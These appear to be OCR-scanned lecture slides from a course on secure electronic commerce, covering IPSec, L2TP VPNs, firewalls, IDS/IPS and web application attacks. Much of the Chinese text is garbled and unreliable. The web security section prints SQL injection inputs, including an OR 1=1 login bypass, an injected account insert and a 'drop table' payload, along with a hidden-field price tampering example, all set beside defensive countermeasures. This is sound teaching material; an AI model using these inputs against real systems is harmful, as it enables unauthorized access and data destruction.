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Syllabus

TP B P % (Subject/Topics
1 100/02/18 T & 7 %% > AL 4
(Course Orientation for Secure Electronic Commerce)
100/02/25 % + 7 #+#%#m (Introduction to E-Commerce)
100/03/04 7 &+ # B (E-Marketplaces)
100/03/11 RFFHEBET L F & A KL IR
(Retailing in Electronic Commerce: Products and Services)
5 100/03/18 itij ¥ FiE AT HEY g R
(Online Consumer Behavior, Market Research, and
Advertisement)

100/03/25 7 + 7 3% B2B ~ B2C ~ C2C (B2B, B2C, C2C E-Commerce)
100/04/01 Web 2.0, Social Network, Social Media

100/04/08 # % 7 FOpLAE I

100/04/15 {7 #+:& & &2 {7 # F 7%+ (Mobile Computing and Commerce)
10 100/04/22 Hp P 3 ik

O 00 NN O



Syllabus (cont.)

¥ P P p % (Subject/Topics
11 100/04/29 = + 7 #+% > (E-Commerce Security)
12 100/05/06 #ci~1& % (Digital Certificate) [Module 4]
13 100/05/13 g2 g :k% > (Network and Website Security) [Module 5]
14 100/05/20 % % & >~ Z XX > ~ICFZ >~ T F {Hi
(Transaction Security, System Security, IC Card Security,
Electronic Commerce Payment Systems)

15 100/05/27 =¥ 7 i+% > (Mobile Commerce Security)
16 100/06/03 % + & g% 2478 #4541
(E-Finance Security Control Mechanisms)
17 100/06/10 % &% 2 ¢ I (Operation Security Management)
18 100/06/17 ¥ % ¥ :Ei%
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Module 5 @ fefe 2 st >
Module 5-1 @ 3§ % >
e G5.1-1: £ A& S|
o 5-1-2: BRI L] £S5 %
e 5-1-3 ¢ IPSec
e 5-1-4: Lk
e 5-1-5 ! IDS¥?IPS
Module 5-2 @ & zb% >
¢ 5-2-1: FIREBF >
e 5-2-2: ]i"ﬁ'\‘—”!? En
o 5-2-3: FEf iRk



Module 5-1-1: £ 4355
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. Horig —ﬂfr;%
4 irzme P T L

(password{’ VAP S
s AR I P
— Frrk mﬁw ﬁimp T

sk S S 4 id s Bde
# < ~ Token + ~ ICH+ A‘/ o
H o % X =y
é/~ A2 } T.‘i’;}’«w{%ﬁl
- by 2 e d R kend gL
\gx\mk%“'i

’ f}l]’&\f’fi %’? 'E%



- pEALEAL % 2

— & # j‘;]z A {TiED 1
TSR R

—é“;ig'M_LS'I?;-? ;ui’ﬁ’%:‘}fl@ = R

— PN L PR RRG L ARPUEFBEREE AR

7RG ik AP

- AREIFEF DA ”ﬁﬁiﬁ'&’f; PR 56 4 1 d
LER *ﬂz},g\,ﬂ%‘rf;,f SRV HEH FOREERR TS 2 T
g ¥ =t if 7 #% (one-time pad passwords)

W (T iR L

—_— }@]J’ZQ ‘\}J‘rtﬁﬁfﬁ,ﬁa\‘fﬁii’ , I‘jré:_fﬂ-ﬁ ﬁﬁ%ﬁ
— JI* % 4 3] (knowledge split) i v% > T2 R e e A
?lgﬂif'r @,\LU, VLA A A Bt



TR ER T

= %% 7Y (interactive) & #*

3o i (7S
VB B AT AR T RKRE

o=

7,
4k
/J\ ~

VA #* %R -w & (challenge-response) ™ 3% &« % F;

72 [ (zero knowledge proofs) T_% = F4 % 5 #Fy
f—'oz}

= 2L %2 2} 7Y (non-interactive) ¢ F) T3\ i 7 A5
VB b L N en g g kAR R R~

VF LG AR A
VF LR ICTF S



crossover
core
bifurcation
ridge ending

island

http://perso.orange.fr/fingerchip/biometrics/types/fingerprint.htm
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Tharmoagranhic scahn

http://www.cs.bham.ac.uk/~mdr/teaching/modules03/security/students/SS3/handout/index.htr

http://www.biofs.com/eng/s1.php
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http://www.eyes.co.nz/eye_care.html
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Module 5-1-2:
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i® ¥H #F%) 1% 2 _(entity authentication)

= BRY T 5&
VHEEA B ARG ICH T PR
s

n FRFE RS

v ¥ % #4|(one-way authentication)
c G- BHe V- BHEPELL

v i+ #74] (two-way authentication)
c W BRA S ER L

vV Z e FH) (three-way authentication)
* m‘;x,_f‘l'i\‘ AL, %@}_«ﬂz FILZEZ T %é’*%f[%;%g{ﬁ.ﬁ“

- 7

W E I_ e B P iR anEdR



SIS

'ﬂiﬁ$%ﬁﬁ%
3 £ 4 (master key) - { ﬁ
. }i%l;’i’f‘ﬁﬁ*f%? ¥ % 474 £ 4&(derivation key)s* §¥
o MmiEOF A iE G 4\:)?:# %
— 2£3 & 4% (non-master key) " T4 £ 4% ¢ =P
OORRPAHS Bl B R R 2R T
o 23X % 4&(session key) > 3% :Qﬁ;l’m A et f2
" TR W%%HJ% E e
— WA ERIF R (T RER L SR
— P ERFEEAE e R SE(TEP LI SR
L)
— B B8 Fu 3;(!%&%?&#—%? Ut | I AVA
— B L N LT BREEGE T4 4 4k 31 7 (ISO 9798)



Module 5-1-3 : IP% >4

MEER GBI KT SRR S FAL 2HE TRRL 2,
FATFH 2 "Module 10-1P% & >3]
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1.

FY¥E
IP=% > #4](IPSec » IP Security) 5 74t &R
WA e D o
5PN 2 RS 2 RS K
(Application Layer) ¥ > IPSecE]J £ N
itk 41 * 5 % (Tunneling) ~ 4¢ f# %
(Encryption & Decryption) - ﬁ%*g 72 (Key
management) ~ & * ¥ BI3% i B inlF O
(Authentication)zz = i/ﬁi -3 i (VPN)
D7 U EGRER Y F RE 2 A e



P& IR

o|PZA 1 (IPSec » IP Security)
IPSecsfiT
o|PSeciEES
|PSecHYZ e IR
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IPSec (IP Security ) Z_&

* IPSec& _VPNer— fad IETF(Internet
Engineering Task Force)* ”I;%z 3B P otk
ETCP/IPAe & ¢ (OSI% = & ) =HBh4=
BLep® i MR 0 AIPRE A EX
En mf‘ RRTIREE N g R AIE =S Ediaay S i

% 7z (Authentication)
— :,&:%(Confidentiality)
— % & (Integrity)
— 737 B~ 4] (Access Control)



IPSec (IP Security ) Z_&

* IPSec 7 % = K cngF Wiy o 2 R AT
2_IPV4FE 3 0 e PVt & 5 @ PPTP
BLTPRIS G % = K a0 Wi > if & &3
IP/IPX/AppleTalk % % a2 T cndg3f ™ & *
IPSec ~ PPTP ~ L2TP= 2 ' f

2 +
* %5 %1



=2 AN A o ek
IPZZ 18 HI 25
OSI fiy  TCPAP G
EAERLE
_ HE FH 2
e (HTTP, FTP, POP)
TAERSESE — SSLTLS
] MwE
{24 i o (TCP, UDP)
i RGN« s
TELEE e
Ethe
— (Ethernet F: #fB&F)

ERIFE © fd H Microsoft TechNet#duh » 2% g {HE -

2= E =T == Pk 3 A 5_22
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IPSecHVIEIE =

Intermat :I

i }-1"

JE.IJDEF]‘ I

| L
IF

s

BRI © 1% B Microsoft TechNet - 4EpFg eSS

HEEAM E4RE “E RS L e At
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— = BrEELY JpiE 2 & > B ESA(Security
Associations) > L 7‘5.@?%‘ 4w @ % |PSecer
i R GldrEHE ﬁé_—lziﬁnb\;‘{t
%mzﬁz’-n 2~ R B R

2. & iR

= I e RE 0 H - B éa‘%”ﬁ 1p e
b4 (Secret Key B S BT P
%)



IPSecerig * 53¢

* @ $5 B3 (Transport mode)
- W H ALY R DT AL bl B e
P 8 RIGARE ) T L ik 2 @ AR(3 L
d Bl BB LAE) 0 ¥ AZBE § AJTIPSecd
¢ g 4 pE o RV IPSecﬁ*@?ﬁ%ﬁi;‘
o i i #3" (Tunnel mode)
—IPSecg *r R RFEHK Bite > T @&?L@ ¥
- BATIP L EE > § IPSecil B A FHOT PP
- B3I B e J2IPSecdt e v A 0 A :
8 E 5 IPSecqy # ek d E e \;}% Ny Egw
IPSeCﬂL =RV BT R



EEE SRR

Security Gateway Security Gatew ay
(_Router ) ( Router )

Internet

IP1 | Favioad IP1 |IPsec | P avload IP1 [ Pavload

(a) Transpott mode

IF1 | Pavload IF2 |IPsec | IP1 | Pavload IF1 | Pavload
(k) Tunnel mode

LRIAGE B EMES > IPSec VPNAJEERE © FirewallBEINATHCE -

AT =" g =T == ok 3 A 5_26
AEH R ESRE “ErEn4de” B



{HigA = (Transport mode)

Application Server Database Server
—
1 |1433
192.168,13.32 e S 192.168.12.11
IPSec

{PrvECy! Intagrity)

ERACE © 55 Microsoft TechNet » How To : i IPSec &t —{E{EiR 2= 2 [H
12 iaE o



THEA @_

A (Tunnel mode) :

Fiay || AH || ESP [ EmEIPERE R
IPERIA (IP Payioad)

| =<4
——

f

X
S7

e
A

Ef%
B

=R
[y

& ok

) w0
Security Security
Gateway Gateway

GW1 GW 2

Fi%B
GW 1| GW?2| T || T || &R T || % || &R
N~ v
CINEH 2 e hxiE

BRI © i E 5N o IPSecthil R -




IPSecHyFRHl

<tk Z imER o E R D

» B E e P ImikRS ~ Al R

+ 72l A P AOAL TP K 1 77 R K
AR AlEE

- AW A Fim E IR

IENEIE P (¢ EESS R B

» AENATERERE P AE(EAZ IR
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IPSeciENATIREE MHYEE 7= -
FEIPSecENAT

Internet

Private IF NIEI;I;;'LFC-I’I'L Fublic TP MNetwork

Lol AOE - FEMEE > IPSec VPNAEYEERE © Firewal BEINATHYRCE -

A= A== “sE 7 7Er 3 ” 5'30
AEH R ESRE “ErEn4de” B



i |PSecernud iTH 38 2 @ % 2 2
EwA
PSec-AH + NAT

PSec-ESP-Transport + NAT
PSec-ESP-Tunnel + NAT




Internet

Pﬂ?ﬂtl.i...ii'...ﬁﬁh%;;l;t- " Pllblil: IP Metwork
SRR - fMEMERE > IPSec VPNEVEERR - Firewal EENATHYECE -

ﬂ RS ué‘az_ TNATHYSource IP/PortiEHa » FAIPSec]]
REFAL 5 [RINAT LSS 5E R BT ﬂ@ﬁ@%mﬂfﬁ AL

IPSGCEHDD B BRI M e A B R R

IPSec Device f] gEfE £ B 417ENATIE 5 B IFHEHa A B
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L2TP/IPSec4 48

1.L2TP (Layer Two Tunneling
Protocol/IPSec) (7rfEL2TP/IPSec )

AL s

{PPP(g

15 5 o7 ks f P22

(IPSec)YIE B ACE 2 KN > 5

FEIP

IPX sz NetBEUI Z 7 E

TP i - E

2.1

EENL

E"LyQ%U N

~ /N

nﬂfﬁﬁﬁTTEGENAT
SN I ey THIEN

Eﬂ“bﬂ 1y (IPSec)



3. u]fE i & bmEs > (EFHPPP AUReHY
S %%“‘7%%U§6§L—ML2TPL B o

4.L2TP/IPSec N HEERHE BRI TR

 JREEST T S BT E RS
5.L2TP/IPSec ) \FEER 2T 7\ i i At
£ (PKI) > B ES S E % VPN
(e Ak as ;e VPN U e

LH'

ll“+l




LOTPEIPYBES IR 2

UDP

» ARAE Ry il i AERE B iE SR 0 24
H -2 EHIPSec ESP& &L {E3E -

i IP5ec |....
s R T R [ [
mm | |#Em TS BE | EE ue

B IPSec IN&E

EREE g E Microsoft TechNet > HEFA A 4GRS -




L2TP/IPSeci& Rl im g 4L

1. L2TPE)E% © PPPARGE LA I - A
APPPIREEH K L2TPEBATR TN LAE 2%

2. UDP=EfEE ji{FHiEl/]LZTP TR = EII AN
/\}Hﬂ?f b El/ﬁ’[ﬁi 17011 UDPERH
NIAEENIIIYE s

3. IPSecHE | 2% HIPSec ESPiERHEAL
fE R LLE IPSec Autqentlcatlon(Auth)# =

AKFUDPERE & £ 4




4. IPEHE @ 24 fEIPSecE a1 il A 4% HyIP
T0H > Hie & VPNA FImEEVPNE R as

AP LR E HHIP -

5. BRMEAEEHYEEE © Ky T EZAELANEGE
WANZEZE FERIPERIER » 2 s
RHPERE R A B RS e ’] =g

LR AR TH R B o NN DAET A4S

N—

Il

(i




RV EHEAIL2TP IPSec 3

'y FFF {638

onF LETF

frsA | 758

IF [Fiec EF | TUDF LETF

fran | SR FrsR | #5H
ZRR

AEH R ESRE “ErEnLe” 2t

S E B

[Foec EST
B

IFRec Auth

B

EH [Fiec 0%

1% EH Microsoft TechNet » 25—

i
&

HiE A E
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L2TP/IPSecif EH EHHIEEFRE 2<

1. f?ﬁl«[Q?ULZTP“PSGC\ﬁ_Kg\ﬁHﬁ L2TP
P lmel L2TP{El ik es & i E AL AL PR & RHE
T% TR o

2. BB R IPRE -

3. [ FIPSec ESP Authtg & 2k Enzg | P £ &
(Pay oad) ;7 IPSec ESPERH -

ll-l-l |>'




4. 1PSec ESPIESHRIEM B I TN 7 R -

5. B UDPEGE L2 TPES

(BAC 55

Z5L.2TP

6. L2TP{H HL2TP{&EEE 1y Tunnel IDL>L &

Call IDAES RIS EHIL2TPIEIE -

7. (£ FIPPPIEEH A R | PPPH

i

\

/}Hé Eﬁ

ot 2 R R R - DUk

AR



SRR

1. tBElE - (EREER S E N 2 > BT R RS T AR -

2. HRAErg mE N e L2 (IPSec) - Microsoft TechNet4dh »
http://www.microsoft.com/technet/prodtechnol/windowsserver2003/
zh-cht/library/ServerHelp/cef71791-bcf2-4f0f-9a56-db1682cf8a24.mspx

3. #IFH IPSec EHaH R AAETT{EI ey B4 gk - Microsoft TechNetduh -
http://www.microsoft.com/taiwan/technet/security/topics/
architectureanddesign/IPSec/default.mspx

4. FEEAAE > MR EIVES ST (F) : IPSec B4} > Microsoft TechNet4dih
http://www.microsoft.com/taiwan/technet/columns/profwin/13-1IPSec-1.mspx

5. ¥EoRMlE - HERSEAEES T (1) * IPSeclEBHE » Microsoft TechNet4d

I
http://www.microsoft.com/taiwan/technet/columns/profwin/14-1PSec-2.mspx

6. Abhishek Singh » Demystifying IPSec VPN’s »
http://www.infosecwriters.com/text_resources/pdf/
Demystifying_IPSec_VPNSs.pdf

7. 15880 > K88 > "IPSect¥filfRaS" - 4ER&EEN -



8. Robichaux » 2872414 » Microsoft TechNet#dy5 »
http://www.microsoft.com/taiwan/technet/itsolutions/network/
security/ro05800.aspx

9. #8525 » [£93 " J&5KIPSec (The Internet Protocol Security Standard )

SSL (Secure Sockets Layer) VPN" » BEiSFIL#EEE » 5587HH -

10. ZFREEAIMSTAEE M EQEERAF AL © FEHFERA A S S AT Intranet 2 4 -

Microsoft TechNet#giih > http://www.microsoft.com/taiwan/technet/
itsolutions/network/security/msppna.aspx

11. SREE 5 IPSec VPNRYEERE © Firewall EINATHIRLE » B dgiml gz -

http://www.iii.org.tw/ncl/document/IPSecVPN.htm

12. 2% @ =E 2 - Microsoft TechNet4@gk »
http://www.microsoft.com/taiwan/technet/prodtechnol/sqgl/2000/
maintain/sp3sec03.aspx

13. Internet Key Exchange (IKE) - HP Technical documentation >
http://docs.hp.com/en/J4256-90005/ch01s04.html

14. & —J&mE A, E > Microsoft TechNetzgi >
http://www.microsoft.com/technet/prodtechnol/windowsserver2003/
zh-cht/library/ServerHelp/977aa0c6-00f9-4303-8fbc-1a586847a247.mspx
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f7 X 3G eniT #
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PACKET FILTERING
FIREWALL

5-45
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X thiEie ~ e K

Service control — determine types of
Internet services, in/out bound.

—Used in most FW

» Direction control —determine the
direction a service can allow to flow thru
» User control —which user is allowed to

dCCessS

> Behavior control —control how a service is
used
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P7’— ), + );\;76\:' #‘/7’\.1-'"“

>R LS
' 2 2| A %*"(ASIC)
¥ Bt ki
EX:Netscreen(screen os)

> B L
i % ZE i ePCH
Unixes F_windows & 7|3 * (T 3% & %b
EX:Checkpoint(unix,windows)

> e
R 'Lﬁmﬁﬁ*’i So(FRRetR3)
FITE FHeaniTE L5
EX:Crossbeam(X-Series Operating System (XOS)



AR L i B

> Hardware firewall
TEE R TR ERERY S.E 5

> Software firewall

HARYIF A g i 2EF s by R A BT o



17 L gl P (B )5 R

> k4] A
& B m 7 4 packet filter
o L I¥ 7 L 4% proxy(gateway)
>R R R R
It & i@ mpacket filter
o T B & % Icircuit-level proxy

o J&* K& I application-layer proxy
o # At 41 ¢ 18 Jmdynamic(stateful) packet filter
o & iy # iPstatefulinspection
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e Bima (% — ~)packet filter

o F-¥FIPIT e vk BR AR T TE—’:F{ ] T AR
?E-f”ﬁ/ﬁ&

(Static)
WNetwork Packet Filter

e =4RiE “EFREEEE" B o2



T BRI (% = )circuit-level proxy

\i

o %Sessionk = > 3 i cATCP:g &ex:socks

Internal

circuit-level i ——

proxy

Metwork

e =4RiE “EFREEEE" B o793



&t K 32 (% = ) application-layer proxy

o BJBF K FiE > A fenTCPi Mex:squid

! application-layer LEsingecr ]
Network PP Y Network

proxy
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B dfte Bip(sz Ko )
Dynamic (stateful) packet filter

£ keep statess # HfF XL o 5 BRI
¥ P oo ekl A E i~ R R R R
WINXP ICF

LINUX iptables

BSD ipfilter



By dfe Big(Hz o &)
dynamic (stateful) packet filter

Internal
Network

Dynamic(stateful)

packet filter

e =4RiE “EFREEEE" B 226



A% Ay ¥ R (% = %) statefulinspection

Internal
Network

Stateful packet
mspection

e =4RiE “EFREEEE" B 7



A8y Rl ( % w ) statefulinspection

 Checkpoint FireWall-1(invented and patented)
e Cisco pix
* Netscreen

RS RV S SR



—~ A TCP &+ ¥ M

. TCP threeway handshake

ESTABLISHED TCP
CONNECTION

e e 5-59
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e B mbeat TCP:i &

. B SYNET & 1 re b SYN:d 4

HOST A

A= A== “sE 7 7Er 3 ” 5'60
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R “73f £content security

= »
o
N
P r SN
NS
r

L 7% e protocolsap F 5 4o
www,email

AR EE D F he ke B B B R el
EX:Checkpoint Firewllfiz & CVP server
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ROUTEING MODE

e Router
— A X %#ﬁv\‘/‘:ﬁROUterﬁ’Jﬁ‘ g s g- -:5 {Router?‘;{ T ::H—
F i a2 R

— R LfeF AR 0 A RS2
A 5w

— MG BR Boo B N (TR
— 4 5| : Cisco RoutersHACL



BRIDGING MODE

Bridge

f7 \#%F/'/Brldgem*’ S\ Ef , KB T
AZERFIP s VRHEIPFL gL
i‘a'%)k"ﬁ?

§R G R

ARSI B

AR R Transparence FlrewaII

7
g

>

~ /2
—
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Netscreen
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NAT

f7 L a5 50 E NAT Serversrizt gy o $R 3 j& @
* Private IP » S8 Ht {8 “hig 4R

hIRE R B B IR S T K TP A
i Bt LR

B PR BE ey L hE

i ¥ 3 statefulese

Bt P a hIRIPA 43 * e
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OSp £ 3t & ik (Linux)

e 2.2 kernelrZ mvipchain
e 2.4 kernelrZ 14 iptable(netfilter)
— P AR T ITLHEE S ERRp
Ll 2R NAT A 6 o
—ajiggﬁﬁﬂ%ﬂgglﬂo
—PE LR U PR E S
r2Linux & 1% 3F 0F o

——\

ZEL/N



OSp i th3t ¢ i g (BSD)

v/

& :ipfilter(Freebsdsg 3k = ipfw)

s 2 3t e g 0 ¥ «”‘router,brldge,nati%ﬁ
Fﬁ ;I%J*B— L iT o
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F w447 7 % 0 Linux iptablesH =g 7% I‘7? I LA - Y

PR R R
% H % - iptables# Linux#% 7

Eu
PRd 8 o LinuxZE 327 g 12 Rt

=

Ho A TGS LD
%@'m ﬁz » 15 AR <
ERPLinuxPIREER A » P FRABEIEE $

B AR~ BRATIK o LinuxiE B B

Linuxpilot ™ ¢ < 4 513p

4 4 2006 % =

http://www.netfilter.org/

@90.\'.0\91%90!\’

. http://www.fs-security.com/
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* |ntrusion Detection System
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IDS A 4F

e I ¥~ i=4p] (HIDS)
o et ~ Z 4B (NIDS)
o k2~ 24k (NNIDS)



el #3)‘ A%/P'J(HIDS)
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B~ 12 B (NIDS)
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B2 & 2L~ %45 B|(NNIDS)

» H % Stack-Based IDS
SR SR
N NIDSﬂft’HIDSmjiﬁfr
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IDSE & * =

o TR

— retaliation

— AY AT e B

— ¥y 47 ¥4 (Data Mining )
-

—WRIR B 2

— B2 B4+ (correlation)

_ £ B IDS
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 |DS FAQ
— http://www.robertgraham.com/pubs/
* Focus-IDS Mailinglist
— http://online.securityfocus.com/archive/96

* Yawl
— http://www.docshow.net
e OldHand
— http://www.oldhand.org
e Sinbad
— http://sinbad.dhs.org/doc.html?board=IDS
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g &% 3L(IPS)?
(R F])

o FTHEEAD X 2PFF Lo

» ISO 17799 & BSTT99 e 2> AR o

e BPARPZELRFT_FUE LA EFE o (2003
67 &)

(P i)

o AN KRR TIREFT DT 2R
e A& 73‘&7?3_%_,}3”73:"{%0

e FF I BIEIT BT 2o iEo
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RS Y IS

e ¥ ¥ /E. ff"_.figz
(Buffer Overflows)

o I ITHE
(Port Scans)

o A5 f2l#
(Trojan Horses)

o Friidte sTH
(IP Fragmentation)

o 3T 5 1T H
(Worms )

o kLI H g2 NUER s B
(System & Application Vulnerabilities)
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F R iE? 0 g

o B F I #
(Buffer Overflows)

o M IEFF e s
(Port Scans)

o kBB AR R s H L
(System & Application Vulnerabilities)

o [EETPRFFET L FT 5N R ET PRZ%‘L‘C%:
(DOS/DDOS>
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I3
(Intrusion Detectlon System)
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e [A X ;f%-;ﬂi ES “5 al & EIILE (T ° , Swiffer
Ingress
Traffy
s Span Despfiation Span
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RizERY BRF PR T
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Bruz g iR X

Firewalls provides

15t layer of Defense
Access Control

Servers

AREHREE
2"d layer of Defense

IDS intended to provide
Detect Attacks
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Intrus1on Prevention System)

e o A ;J\
3\

EHF R T

o ¥ In-line(FpFi $7)H5 > e 30 % — FF R IR 5o
ite o

o JHERPBIE O BREmEAEAPFA TR

o A RPTHR B P o AT IR sa KT R o
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B E SR A B i

rd f?i’In Line mode( ¥ p 4 47) 3k # » TRFIL % Eipsc ¥ it

e 4 FH 3\
¢ g
— X AERLE D GERERR P oo
— BRI E I E 4t e rﬁ#,m%tmidiﬁ o
o SHBBIPNT BRERER
— FHcF A E &~ 47 (Signature Analysis)
— 2 ¥ i 2 24 7 (Protocol Anomaly Analysis) -
— B ¥ 7 2 B34 ¥ (Behavior Anomaly Analysis) -
— s T3 R0 (Normalization)® ¥ & (Assembly)
o BAIEN 0 Fn BERT R E T
— Hardware Bypass® Software Bypass# iu #Cluster7 # o
— R rd® B (Network Processor) 2 B & ;N md® & % (ASIC) -



An active, in-line system
detects an attack and
drops malicious traffic

during the detection
process
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TR EZE RS - [ FRUEE 44 =217 28 Unicode A% -

Web Server Web Server

ABREHZ4 ANERE 24
(Intrusion Detection System) (Intrusion Prevention System)

PAR))

BRI -
<\ TR BRI FTE R
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Internet -y lrewall NIDS Intranet

o
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VA

1 00018001C
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010101€¥101101010401 '

Lt 1. EE (e
| SEEE T 2. (EHIVPN 2 Tkl
EEER RS FREREE 3. (SE N AOE A
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Network IDS=3% B i &

> 18 3% NIDS
o ALB G N B P % B (F Beite)

7 ~ y 2 27 17 VA 2
o AT NivE kAL

o« FEPHEFREH

> B W E i ehNIDS
o ;U M EI P E KA (fRE )
e L FHmw »ITE LA
o FTHFFHLT A, BV i U TR P
» A K xrAE$ HNIDS
o IV M EIPIE K S (fRE )
e L FHmw »ITE LA
o ITH T H, B X W TR, RV TS A AT

ports Port
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W R SR E A B R
%W#NW

— Firewall ~ IPS ~ Anti-Virus Scan

o 4 ¥ g RS BE B

- Vulnerability Assessment Scanner
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B A SR EBEY ()
(BE> %)

* % (homogeneous) T 5 v B & & 24576 &1
BK A oo

o [#F P (zero-day) zc&# @ F* iﬁp’a‘ I R
PR T 1T L 0 W REE
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frﬁﬁ% > 11 % ~ IMAP ~ POP ~ HTTP & SMTP » i i& *
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de B fringg P K LEHFIRE R F OTLS fr SSL 2 4 B
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c P ¥ RL2AELI ZHEXT R T
o ¥ RITH L EfZR

— SQL Injection

— Hidden Field Tampering

— Cross-Site Scripting

— Session Hijacking
s R AAFEE



BEH TR % 282

o dr L fLHD P P T (2008/4/16) e 5 A B %
7

i]‘ﬁ?@g’?z\ — I8 4+ JL’??LF’Q TP 2L
BN BEET o Ay ’wﬁuszz@%
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W3 X P s L 2

WEFE BB
SQL injection SR ESQLA (F141DROP TABLE) M 835} e Bt 2 & il Es
AIECEE -

Cross-site scripting

FIH & &Ry JavaScriptfar BU 4G 5 I & iCookie &l » B
E)ﬁ‘iﬁﬂ%‘éaaﬁﬁﬁ%ﬂ

Hidden-field tampering

ECAE H R L TN - B -

Eavesdropping

(i il packet sniffer. Sy T S UL 48RS L EAHT RN A&
RHEILIRSR ~ 25HE - Bcookies)

Session hijacking

far E AR 5 52 FH &y SessionID > A (s FH # i Session ©

Identity spoofing

H I RE S HYIRIEAN S B UL &8 S0

Information disclosure

A LhEAT T3 A (015 MRy R A A 58 F & B 2 BIS MR R -

WG R E TSRS

bt
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PERFELE2L 22 RT

Cross-site Scripting(XSS)

— X T RFLAER —‘gﬁi;f] * T 1T A ST
SQL Injection

- EF R @ K g~ TR e SQLA
Session Hijacking

— X 4 J Fl:SessionIDA# fi-# 2 SessionlD Cookie#s #
One-click

— X & R F]:i¢ * Scripti¥ i HTTP Post

Hidden Field tampering

- X T RFLAFRT P EEF N T Rk A



SQL InjectionIEE7E

WG R B TR ES” bt 5-109



SQL Injectionz & -3\

F& R 5
e A
fay B3R 2 TR

g TR A el



»EE N o

4} WebForm2 - Microsoft Internet Explorer i =]
EFE  ARERE R FREE TEOD  SHSEH | e
OLF -O-HNE 0 amsE ese 2|0 LB &
ECRingel] Iféj http: flocalhost/BadLoginlogin, aspx?ReturnUr="2fBadLogin%2fwebForm1 . aspx ﬂ o E |ﬁ’€§ >
[
EEEH
|
i |
Login | %
=
[&] %= [ [ | insmanmEs 4

o FRH {7 ePSQLATIE
SELECT count(*) FROM Members WHERE UserName = 'John'
AND Password ='ABC'
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P

o 7} A HSQLATIE B 2

SELECT count(*) FROM Members WHERE UserName =" &

txtUserName.Text & "' AND Password =""

& txtPassword.Text & """
o A[rREL]H f_‘«j.;f] > ﬂ‘*'/ﬁ*u? IVECEPNENS T
'OR 1=1—

o ARV AT (T enSQLATIE F

SELECT count(*) FROM Members WHERE UserName ="

OR 1=1 - And Password ="

AEH R ESRE “ErEn4de” B
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1~ HEELE R TR A

o f[hEEE]E ffj;;«l » LT R n‘i:Th? YL AT HE
Z R B

;insert into Members(UserName, Password) Values ('hacker’,
'foo')—

RS R T, AR T
';’7/’7”?1( 7}—'-5”]}5? [ IJ K/ﬁ:f Memberszﬁ.’h“ 7},'. Z:t\' .

'"drop table Members --
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Bypass 7<#¥ : 2 T & RiE» ¥ 14

A
z

© B[RAN Sy~ LT TR R
=~ IR O

aaa' Or UserName Like '%

o F73N S (7 hSQLATIE B
SELECT count(*) FROM Members WHERE UserName

And Password = 'aaa’ Or UserName Like '%'
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|* URLBERERGTF & D

a WebForm1 - Microsoft Internet Explorer - ||:||5|
EREE iREE RN BRER TED  SHBER | a
Q+t—F - ' '
mup @ http://localhost/GoodSupplierProduct/Products.aspx?SupplierlD=1
ST T
m - ompany =3 Products - Microson@P2rnet Explorer o [m]
| EmE EEe ®RY BOSEW IAD AW | A
1 Ezotic Liqu|— - . =
gmlﬂ BRI - B LB G
New Orl D @http:,l',l'Iu:ucaIhu:ust,l'BadSupplierPdeuctIPruducts.aspx?SuppIier1D= ﬂ f2x | dEE ™
R e ‘
3 I(_EIT andntlaE CategoryID | QuantityPerUnit UnitsInStock
omestead
4 Tokyo Tra
Chef Anton's
5 Cooperativ| |4 Cajun 2 2 48 - f oz jars 220000 |53
= "Las Cabra Zeasoning
& Ilayurm's |
4 5 Chef Anton's 5
& Cumnbo i
T.ranaisna i
1l | _>I_I
&) =R [ s imRrEnEE 4

Y HEN R CETRREe 5-115



F % g N gk

e Dim strSQL As String = “SELECT * FROM
Products WHERE supplierid=" &
Request("SupplierlD").ToString()
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F# 35 5QlL Injectionsz F el & i
RI(-)

o B % —*ﬁ ﬁ%l > FoRL RSB % SQLATE 2 Stored Procedure
v’ SQLékit 2 § _Stored Procedure® i * EXEC4it#, {7 ¢ # -ﬁﬁ.’] *
REFLE-HD§F
o ho%k @iz Y K ﬁi;f] > B RS- Bic® % SQLATE & Stored Procedure
v i# * Regular ExpressionZ& L * -ﬁ%’l * e ek 5N
v g ﬁﬁ.’] *» TR enf B
v g -ﬁ»j—é’ * AR ek e '
AR FR R TR E(SQUEE AL R)
v #k-i## ?!{%.T)s ehH S5 E He = 515



LU —-ﬂkﬁlr enH IR R 2 3ok

o Hildrf A ErH 7 SQLATIE E o
Select count(*) from Members where
UserName='lohn' And Password='ABC'

i **F{ & UserNamet§ Ti:ﬁi%l ~["Or 1=1 -]
VARRT Ly r nE S5 E RS I, i erSQLEE R
chi % & Members 3 £ chit ¥ dic

VR FHr chE SR S I, 1 esQURIE R 7 £
2% 50



F# #5SQlL InjectionsT & i * R
R(= )

LA #2502 P R s 37 34 {7 Stored

Proceduresr g ', 7 sc B FH 3 BT HRLE P o

Tablef-View

:%’** [Wmdow i}f@ _:,-_ﬁ;:; ]JEV :F‘”\Wl B

2p %;TextBOX%E? = =riMaxLength Ev I“i
o g ¥ FORE R T et

v



Hidden Field Tampering
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Hidden Field Tamperingzz # #5-;\

e 3t HTML Form 3 3| & 7t
o ZizHiddendf iz eph F B
o K-%Fr i ehForm £ iX $|Web Server



BadMotor.com

f% 3 K;% }9 ]fr F; E v ]Q ",ﬁ ,'.

2 WebForm] - Microsoft Internet Explorer

wREE REE WRE #EOREW IROD HAD

OLtF -0 -NR G| Pe: SamaE @re €|0- 230G
#EHED) €] hitp:ifocalhostBrdMotoxebFomml aspac

R E . com

=10l x|
| =

EISEEE

s

E11008 E1200LT
niFEE—& FIEEATE
1T$1,020,000 1T$1,230,000

E%ﬁﬁl EE%E'

R1150R K1200LT1
BIREPENR [BEMHE
NT$1,050,000 i 1T5 1,150,000

EEKE|
]
[ [N EmrEmEes 4

ﬁ?ﬁﬁl

[OE]
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ERA Y TR

—

R

o WALTF FOCEFRW o T R 4o dE]

<form name= “Form1”

¥ 3 ATHTMLA% %
DR (A

method= “post” action= “http://IP =4+

/BadMotor/Confirm.aspx?MotorlD=1" id= “Forml1” >

<input name="HiddenPrice" id="HiddenPrice" type="hidden"

value="1000000" />

</form>

i IERF LY 3 HTMLAE %
#{ 7 Submit

Bkl




fFe 3% Hidden Field Tamperingsz & 13 &

e & & HTTP_REFERER:p %
— 3 P~HttpWebRequest#f 4| ciiHeaders & & fiReferer = f
* If Request.ServerVariables("HTTP_REFERER") Is Nothing
Then Labell.Text = "Catch You!"

Else
Labell.Text = "% = jr#c:" & Request("Price") & "~ 1"

End If
. & * Message Digest
1. pE iR
2. it * Server Control, £t * ViewState
e ¥ & HF WA & 3% Hidden Field
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Cross-Site Scripting
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Cross-Site Scriptingzc & /&

